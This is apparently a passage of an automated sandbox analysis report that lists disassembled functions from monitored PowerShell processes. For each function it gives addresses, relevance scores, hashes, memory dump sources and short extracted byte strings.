Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 37834c682f08fdc6c424ef8e75eb5c9c8c081f850bebac90fd8f59b38956baea
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 87E08631B10114978B08956DD4504DDF7A9DBCC221F04847ED90AA7340DA32591586E5

Function 087A0798 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2533b03e3504584110e50a38bbea0812f061af2ed58494f8cb06ec10990a147a
Instruction ID: 340296c3cbc8383a6ba63e5018b6c3f64c1c6d303d28732b7dd5a644c09c040d
Opcode Fuzzy Hash: 2533b03e3504584110e50a38bbea0812f061af2ed58494f8cb06ec10990a147a
Instruction Fuzzy Hash: 59E0C236340F148B8612E62EA81085FB7DADFC5662304883EE22EC7304DEB4DC0A47E5

Function 087A6130 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 863d6c7b85118152d747be09f5916022a71cf4e2ac11588204ec974b59ec76cb
Instruction ID: b16593ed07585b84fc2c7372b18d171bfd1c48075c99ceffcb3b08c01dd2ba30
Opcode Fuzzy Hash: 863d6c7b85118152d747be09f5916022a71cf4e2ac11588204ec974b59ec76cb
Instruction Fuzzy Hash: 07E0DF392501108FC346D768D51C8947FA1EF9A211B0940CAE9058B373D6708C058751

Function 0344FC30 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30c5cd2a3b1ca4f54efd47b86fa3c7936adc0156eec6d7957e8ee586886fed3d
Instruction ID: 931ea01c091534d7854aa5ce4a50d7485388b46ae73f427d67fffe0225697d11
Opcode Fuzzy Hash: 30c5cd2a3b1ca4f54efd47b86fa3c7936adc0156eec6d7957e8ee586886fed3d
Instruction Fuzzy Hash: 9FE0DF70E042099F8780DFBCC8020AEFFF0EB48210B2084BF8808D7342E73196428BD1

Function 0344FC40 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 86adbe2b1c78a93bf076c311e03f5297025415390e0edea5aa379df05ed4f7db
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: D7D067B5D042099F8780EFADD94156EFBF4EB48200F60C5BA8919E7301E7329A128FD5

Function 087A6140 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca90922519a6590acc31e3ea7cfc3a1a62764832344d9212943ebd39a6432ba
Instruction ID: 5e35c2a371bbbb1e82b7b83535ad9498722659fcff52d7f1f791c95a7bbaa3b1
Opcode Fuzzy Hash: 9ca90922519a6590acc31e3ea7cfc3a1a62764832344d9212943ebd39a6432ba
Instruction Fuzzy Hash: A8D05E392201109FC304EB68E508C55BBE9EF4C3607018096E90987362CAA1DC008B91

Function 0344B090 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e74b052b5bebe1aa8c90870703f5c6977982a3301fb9242c8550beb9e5c124b6
Instruction ID: 052699a37f332950aaa8af456fc4c81d3110b8d3390b31562021d18cf8ba705a
Opcode Fuzzy Hash: e74b052b5bebe1aa8c90870703f5c6977982a3301fb9242c8550beb9e5c124b6
Instruction Fuzzy Hash: EDD01734A042089F8B14EFA8E84646EBFB4EB44301F00816AE90A93784DB305841DFC1

Function 0344AFC8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b4c419bcb6ec0b061d8fb9e04595298fb654c04ad8e3e284c8abb152092d20e
Instruction ID: d04c7f502f7a1fed1ba8f63e12e75acaa372db8bf7e63640364f7779e27311f5
Opcode Fuzzy Hash: 4b4c419bcb6ec0b061d8fb9e04595298fb654c04ad8e3e284c8abb152092d20e
Instruction Fuzzy Hash: 1ED012319041099BCB18EBA4D41A4BEBB34EA10202F40C06ED917525859B311546DBC1

Function 0344A1B0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2496ef425da5066eeea4f5271fc712123d0d81b13086e5a8668df247348a2edf
Instruction ID: 1ceff3c5375e5185b398efa8d121555dc9cd33fdcea890823c0adfbfd080119b
Opcode Fuzzy Hash: 2496ef425da5066eeea4f5271fc712123d0d81b13086e5a8668df247348a2edf
Instruction Fuzzy Hash: 23D0A73004E3C58FE7175B38D414444BFB0ED0320435645DED4868FAA3C6758449CB12

Function 0344A720 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abb505c031317e404ba9ac925fae79f4c16551a4d8a769cd167706239811e1d6
Instruction ID: 5ea14b60af74c2d98911c36e369e10b4d6fff5e64b2d6b12af5b68dc2daae107
Opcode Fuzzy Hash: abb505c031317e404ba9ac925fae79f4c16551a4d8a769cd167706239811e1d6
Instruction Fuzzy Hash: 53C0122150E3C94BEB0BCB39A6641193FB64E8311436A89EBC482CB073DA680849C32A

Function 0344A1C0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943ce9a3bf6fabf23666642ec5daeab766bb01762f1108ba2b47dfa4b9d282d
Instruction ID: 3a9dae84d50d32ae1df5f7d90b73a41aaad3b9d61ee930b584cada9d443c78de
Opcode Fuzzy Hash: 3943ce9a3bf6fabf23666642ec5daeab766bb01762f1108ba2b47dfa4b9d282d
Instruction Fuzzy Hash: 6BB092321443098FC209BF75E808818B369FA482093C048A9E90E0B7928E36E851CA45

Function 087A6080 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37fa2c4b25c90fedda369ee33962fc46b1138c5811620e710add117a99e31e3
Instruction ID: 5b341190c77585658557a2ac94e766b1a328ed5906a4ff1de745a14f7d5a293c
Opcode Fuzzy Hash: e37fa2c4b25c90fedda369ee33962fc46b1138c5811620e710add117a99e31e3
Instruction Fuzzy Hash: 43B092301502088F82409A59D445C007BA8AF08A143410090E1088B632C621F8008A40

Function 034492B0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2583a4e7ae24c9500790311fab87e35201163c00df3887b544f2a2a8e7187d7c
Instruction ID: 434a97120ffb385e8e222e547d929871aa8499f1b0509113f9b43400bece941d
Opcode Fuzzy Hash: 2583a4e7ae24c9500790311fab87e35201163c00df3887b544f2a2a8e7187d7c
Instruction Fuzzy Hash: 22A00236A6411147BF5CDA36575A53A3A735BC2201305C47B6513C5044CE348443D648

Non-executed Functions

Function 087AE0C8 Relevance: 55.4, Strings: 44, Instructions: 371COMMON

Download Yara Rule

Strings

(_^q, xrefs: 087AE0D9
4c^q, xrefs: 087AE5CF
4c^q, xrefs: 087AE3E6
4c^q, xrefs: 087AE282
4c^q, xrefs: 087AE32A
4c^q, xrefs: 087AE3F0
4c^q, xrefs: 087AE4B3
4c^q, xrefs: 087AE558
4c^q, xrefs: 087AE278
4c^q, xrefs: 087AE534
(_^q, xrefs: 087AE1C2
4c^q, xrefs: 087AE49F
4c^q, xrefs: 087AE591
4c^q, xrefs: 087AE320
(_^q, xrefs: 087AE1E1
(_^q, xrefs: 087AE1EB
(_^q, xrefs: 087AE21F
4c^q, xrefs: 087AE4D8
4c^q, xrefs: 087AE4E2
4c^q, xrefs: 087AE5D9
(_^q, xrefs: 087AE0FD
4c^q, xrefs: 087AE5B0
4c^q, xrefs: 087AE59B
4c^q, xrefs: 087AE572
(_^q, xrefs: 087AE229
4c^q, xrefs: 087AE57C
(_^q, xrefs: 087AE200
4c^q, xrefs: 087AE4A9
4c^q, xrefs: 087AE54E
(_^q, xrefs: 087AE177
(_^q, xrefs: 087AE1CC
(_^q, xrefs: 087AE20A
4c^q, xrefs: 087AE509
4c^q, xrefs: 087AE3CC
4c^q, xrefs: 087AE3C2
4c^q, xrefs: 087AE5BA
(_^q, xrefs: 087AE196
4c^q, xrefs: 087AE26C
4c^q, xrefs: 087AE52A
(_^q, xrefs: 087AE16D
4c^q, xrefs: 087AE513
(_^q, xrefs: 087AE1A0
4c^q, xrefs: 087AE260
(_^q, xrefs: 087AE0F3

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q
API String ID: 0-502324356
Opcode ID: 7fdea60d1a945153496399ddbbb8766e7359ea2067da3aed45dd16690e74b312
Instruction ID: 5e021e019c52a8a50c39cd1505eaf00d9bf59fe22325bd3f3ccf5e2ed8cbc3a2
Opcode Fuzzy Hash: 7fdea60d1a945153496399ddbbb8766e7359ea2067da3aed45dd16690e74b312
Instruction Fuzzy Hash: EEE172B5A00605CFC728DF69C48466AFBF2BFC8705F248A2DD0669F794DB31A845CB61

Function 07A22D00 Relevance: 25.3, Strings: 20, Instructions: 334COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07A22F31
tP^q, xrefs: 07A22F87
r3l, xrefs: 07A22D73
J4l, xrefs: 07A230FE
$^q, xrefs: 07A2311A
J4l, xrefs: 07A22FB3
$c&k, xrefs: 07A2305C
J4l, xrefs: 07A22FBF
J4l, xrefs: 07A23076
r3l, xrefs: 07A22D7D
$^q, xrefs: 07A2310E
J4l, xrefs: 07A2306A
4'^q, xrefs: 07A22F3D
841l, xrefs: 07A22F1E
4'^q, xrefs: 07A22DB2
J4l, xrefs: 07A230F2
tP^q, xrefs: 07A22F93
841l, xrefs: 07A22F14
4'^q, xrefs: 07A22DA6
J4l, xrefs: 07A22F49

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: $c&k$4'^q$4'^q$4'^q$4'^q$841l$841l$tP^q$tP^q$$^q$$^q$J4l$J4l$J4l$J4l$J4l$J4l$J4l$r3l$r3l
API String ID: 0-1770089186
Opcode ID: f6f99d92f00bac2d4d8f4eb29507bbf8408717802b75920ec1024fd18245ffc1
Instruction ID: e88d442398ebf5928a5f9e38cd832a4be11d470f7bd7908e1c52b3bc232adf80
Opcode Fuzzy Hash: f6f99d92f00bac2d4d8f4eb29507bbf8408717802b75920ec1024fd18245ffc1
Instruction Fuzzy Hash: F1B14BB6B04266CFCB258B2C9404766BFF2BFC2610F1584ABD525CF295CA35CC46D7A2

Function 07A21110 Relevance: 12.7, Strings: 10, Instructions: 184COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A21381
fcq, xrefs: 07A211FA
$^q, xrefs: 07A211BD
$^q, xrefs: 07A213AB
841l, xrefs: 07A2122C
$^q, xrefs: 07A2119C
`Q^q, xrefs: 07A21245
`Q^q, xrefs: 07A212AB
tP^q, xrefs: 07A2127F
$^q, xrefs: 07A211D9

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: fcq$841l$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-1430706062
Opcode ID: 778b01dbf713ce3ea552a131d14454e93e5c3f9681bcb8c81c21266c9de0ac0b
Instruction ID: d8d17d3a34487a770c6b2b6872ca4b58e654591662fbb5caa0f4c65091d7f8b7
Opcode Fuzzy Hash: 778b01dbf713ce3ea552a131d14454e93e5c3f9681bcb8c81c21266c9de0ac0b
Instruction Fuzzy Hash: 9161A1B0A0422EDFDB288F0CC544BAABBF2AB85305F158065E8209B290C731DD87EB51

Function 0344A2A8 Relevance: 11.5, Strings: 9, Instructions: 240COMMON

Download Yara Rule

Strings

`_q, xrefs: 0344A3A3
`_q, xrefs: 0344A542
tM3l, xrefs: 0344A354
`_q, xrefs: 0344A4C4
[sgo^, xrefs: 0344A452
;sgo^, xrefs: 0344A56D
`_q, xrefs: 0344A422
ksgo^, xrefs: 0344A3D3
Ksgo^, xrefs: 0344A4F4

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$;sgo^$Ksgo^$[sgo^$`_q$`_q$`_q$`_q$ksgo^
API String ID: 0-2038841788
Opcode ID: 4ff5ef896b75487dafb31b6f23ec54595099aa2f7553f542ce04962228f137db
Instruction ID: e80a69dc696224c6542c9e666c14a850a77774d4ca20f1da8ef21b39c8d97d92
Opcode Fuzzy Hash: 4ff5ef896b75487dafb31b6f23ec54595099aa2f7553f542ce04962228f137db
Instruction Fuzzy Hash: 79B1B774E016099FDB54DFA9D980A9EFBF2FF48300F14862AD419AB315EB70A945CF90

Function 0344A2B0 Relevance: 11.5, Strings: 9, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 0344A3A3
`_q, xrefs: 0344A542
tM3l, xrefs: 0344A354
`_q, xrefs: 0344A4C4
[sgo^, xrefs: 0344A452
;sgo^, xrefs: 0344A56D
`_q, xrefs: 0344A422
ksgo^, xrefs: 0344A3D3
Ksgo^, xrefs: 0344A4F4

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$;sgo^$Ksgo^$[sgo^$`_q$`_q$`_q$`_q$ksgo^
API String ID: 0-2038841788
Opcode ID: 9bc1c0f2c436ed173015d0c0e86f1c5fe54483420ffb55d01b9bfd185a62ac7c
Instruction ID: 3ec36427245570d4fb4b66894999c8ace6e4caa26fe58d8089e52f1d525a07a1
Opcode Fuzzy Hash: 9bc1c0f2c436ed173015d0c0e86f1c5fe54483420ffb55d01b9bfd185a62ac7c
Instruction Fuzzy Hash: F9B19774E016099FDB54DFA9D980A9EFBF2FF48300F14862AD419AB315EB70A945CF90

Function 07A23B68 Relevance: 11.5, Strings: 9, Instructions: 232COMMON

Download Yara Rule

Strings

4c^q, xrefs: 07A23BFC
tP^q, xrefs: 07A23C95
Q&i, xrefs: 07A23E75
4c^q, xrefs: 07A23D57
4c^q, xrefs: 07A23D61
4c^q, xrefs: 07A23D6B
841l, xrefs: 07A23C3A
tP^q, xrefs: 07A23CA1
841l, xrefs: 07A23C46

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$841l$tP^q$tP^q$Q&i
API String ID: 0-105719691
Opcode ID: e8664e6e87d70914e39e4a6b0da5656b11e6145564879675d183a108a014947f
Instruction ID: 1701b8ef59bf4e4d9b615b7a88aa108f2d6d3ed9333b942bfc4b8bade3775569
Opcode Fuzzy Hash: e8664e6e87d70914e39e4a6b0da5656b11e6145564879675d183a108a014947f
Instruction Fuzzy Hash: 2B816771B002299FCB149F6CD84466ABFE2BFCA710F14846AE8559F361CE36DC49CB91

Function 03449980 Relevance: 10.2, Strings: 8, Instructions: 221COMMON

Download Yara Rule

Strings

$^q, xrefs: 03449B4F
$^q, xrefs: 03449A62
(_^q, xrefs: 03449B12
$^q, xrefs: 03449B8E
$^q, xrefs: 03449B82
4c^q, xrefs: 03449AD4
4c^q, xrefs: 03449AA3
4c^q, xrefs: 03449ADE

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$4c^q$4c^q$4c^q$$^q$$^q$$^q$$^q
API String ID: 0-2856987912
Opcode ID: 8db133240e07c258792cd9975459e94b94f0a14b2875090690033c90404f9625
Instruction ID: c1f65cd5828ca51299cb14ff095ce64fe46cfb6adcaf296b62a1d09a5575d321
Opcode Fuzzy Hash: 8db133240e07c258792cd9975459e94b94f0a14b2875090690033c90404f9625
Instruction Fuzzy Hash: 5161C2357142809FE729AB38885463F3AD6BBC9714F2984BED5068F395CF39CC428795

Function 07A20590 Relevance: 9.2, Strings: 7, Instructions: 499COMMON

Download Yara Rule

Strings

r3l, xrefs: 07A20A3D
r3l, xrefs: 07A20A33
fcq, xrefs: 07A20A53
4'^q, xrefs: 07A206FE
4'^q, xrefs: 07A20A6A
4'^q, xrefs: 07A206F4
4'^q, xrefs: 07A20A76

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: fcq$4'^q$4'^q$4'^q$4'^q$r3l$r3l
API String ID: 0-115197805
Opcode ID: 19b476ba82bdba105b1848428662805701cfd2a1d21d32fa62208a0768810195
Instruction ID: d96827b222f1ee2e5c51825910272cf126569adb6a29b4b4a243ce2c5ee558f3
Opcode Fuzzy Hash: 19b476ba82bdba105b1848428662805701cfd2a1d21d32fa62208a0768810195
Instruction Fuzzy Hash: A7F167B57042658FC7159B6D980076BBFE2AFC2210F14C0BBD559CB252DA32C886DBE2

Function 07A23B49 Relevance: 7.6, Strings: 6, Instructions: 145COMMON

Download Yara Rule

Strings

4c^q, xrefs: 07A23BFC
tP^q, xrefs: 07A23C95
4c^q, xrefs: 07A23D57
4c^q, xrefs: 07A23D61
4c^q, xrefs: 07A23D6B
841l, xrefs: 07A23C3A

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$tP^q
API String ID: 0-369957374
Opcode ID: 320d6572b73d9f9eda1237e95bea2d9db160b317b5afb29319fdb4529556da91
Instruction ID: 2144a1a2350a0e9aac752912d6b867f42d3765ee10ad9d407560ea6887a49912
Opcode Fuzzy Hash: 320d6572b73d9f9eda1237e95bea2d9db160b317b5afb29319fdb4529556da91
Instruction Fuzzy Hash: D15108B1E01229DFCF148F18C444769BBE2BF86710F148465D8659F261CB39D949CB91

Function 07A23F78 Relevance: 6.5, Strings: 5, Instructions: 212COMMON

Download Yara Rule

Strings

841l, xrefs: 07A24042
tP^q, xrefs: 07A2409D
841l, xrefs: 07A24036
tP^q, xrefs: 07A24091
(_^q, xrefs: 07A24133

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$841l$841l$tP^q$tP^q
API String ID: 0-3906441607
Opcode ID: 8dc8a421e94b141cbffd5da9a24cb021dabb716e6db4425259b8d93f84a2b180
Instruction ID: 0e57d6bcf182546434f7fd1a1353779625b36d8ffab0e9f8fe01bd0acedf0b5d
Opcode Fuzzy Hash: 8dc8a421e94b141cbffd5da9a24cb021dabb716e6db4425259b8d93f84a2b180
Instruction Fuzzy Hash: 5E7146B4B042649FCB18DB6CD80466ABBF2FFC9310F148469D8158F355CA35CC4ACB91

Function 07A221A8 Relevance: 6.3, Strings: 5, Instructions: 83COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A221E4
tP^q, xrefs: 07A22264
$^q, xrefs: 07A22200
$^q, xrefs: 07A2221F
$^q, xrefs: 07A221C8

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$$^q$$^q$$^q$$^q
API String ID: 0-324510305
Opcode ID: 4de335691e681fb04f959a4246daa137cf944c66895bf734d2ff3495a9c7d18c
Instruction ID: b34d3e693fbbfb550f47610a73861d529645b87998c70cbc910b185aee7a83ba
Opcode Fuzzy Hash: 4de335691e681fb04f959a4246daa137cf944c66895bf734d2ff3495a9c7d18c
Instruction Fuzzy Hash: DE2105B6B00226CFDB248F5CC840FA977F4BF85A10B16412AE9209F291C732D846D7A2

Function 07A24430 Relevance: 5.1, Strings: 4, Instructions: 66COMMON

Download Yara Rule

Strings

(_^q, xrefs: 07A2443E
(_^q, xrefs: 07A24465
(_^q, xrefs: 07A2445B
(_^q, xrefs: 07A24479

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: d345ee7cd75a4ad5fc8d9d41f7e14398a611661455bc93a3711770385cfb3cb4
Instruction ID: 8b3da55f706ac6481af74c99285dd74de1b1608bea4e551f5a01acfe94802319
Opcode Fuzzy Hash: d345ee7cd75a4ad5fc8d9d41f7e14398a611661455bc93a3711770385cfb3cb4
Instruction Fuzzy Hash: F11104FA7102618BC7189B6E9000026F7EA9FC9624328C47EC926CB350DA32DC46D790

Function 07A20411 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A20466
$^q, xrefs: 07A2045A
4'^q, xrefs: 07A20487
4'^q, xrefs: 07A2047B

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: ff972dcd88d8582ab3cb2c8821576a029db4a9279372a0862aa868f0b4b4492d
Instruction ID: c90d4445b35f71912363ce900f62bb7d4ca59a5327614f26485ff932a42ad8b8
Opcode Fuzzy Hash: ff972dcd88d8582ab3cb2c8821576a029db4a9279372a0862aa868f0b4b4492d
Instruction Fuzzy Hash: 14012B607593A50FC32B172C2C204A66FB35FC391031944D7C090CF3ABCD194D8E83A2

Function 07A24415 Relevance: 5.0, Strings: 4, Instructions: 45COMMON

Download Yara Rule

Strings

(_^q, xrefs: 07A2443E
(_^q, xrefs: 07A24465
(_^q, xrefs: 07A2445B
(_^q, xrefs: 07A24479

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: d3a6878781a45135b5d01a25b88e00e1209e5d33808511b78ede06f53303a119
Instruction ID: de1b095c614dcea537457cbf2add4eccc2d7b62e3f1e22c7b3d07982b88ada9f
Opcode Fuzzy Hash: d3a6878781a45135b5d01a25b88e00e1209e5d33808511b78ede06f53303a119
Instruction Fuzzy Hash: 8B012BFAA143918FC7158F5D9400461FBB6AFDA61033D84ABC421DF351C635EC4AC761

Analysis Process: powershell.exePID: 5672, Parent PID: 7068COMMON

Executed Functions

Function 070F1070 Relevance: 21.7, Strings: 17, Instructions: 472COMMON

Download Yara Rule

Strings

)l, xrefs: 070F14CB
4'^q, xrefs: 070F130D
$^q, xrefs: 070F1400
$^q, xrefs: 070F12BD
)l, xrefs: 070F14BD
4'^q, xrefs: 070F1441
4'^q, xrefs: 070F1193
4'^q, xrefs: 070F1435
4'^q, xrefs: 070F119F
4'^q, xrefs: 070F13C1
$^q, xrefs: 070F1410
4'^q, xrefs: 070F13B1
4'^q, xrefs: 070F159E
tP^q, xrefs: 070F135F
4'^q, xrefs: 070F1594
tP^q, xrefs: 070F136B
4'^q, xrefs: 070F1319

Memory Dump Source

Source File: 00000018.00000002.2083365493.00000000070F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_70f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$)l$)l
API String ID: 0-1296726553
Opcode ID: 974a7a9ae01da01895e818461b55ef46a270657eed10f2cc3b4943ca9f5ed53e
Instruction ID: 2c90272bf87b2d87e9b465b65668d00f6556c2e52b694ccb0f7f6319df439700
Opcode Fuzzy Hash: 974a7a9ae01da01895e818461b55ef46a270657eed10f2cc3b4943ca9f5ed53e
Instruction Fuzzy Hash: 52F123B1B0021DCFCB549BA9884066EBBE2AFC5710F14866ADA15CBB54DB32DC45CB91

Function 070F105C Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

4'^q, xrefs: 070F1193

Memory Dump Source

Source File: 00000018.00000002.2083365493.00000000070F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_70f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: eb249d46357a11585a776c099824acacda5a4476509c7d0bbf43d3806ec495b2
Instruction ID: d0d83a40a0c0654047d7fe61291afd8a11b7bd2c05864ca2acddb5c71ecc9512
Opcode Fuzzy Hash: eb249d46357a11585a776c099824acacda5a4476509c7d0bbf43d3806ec495b2
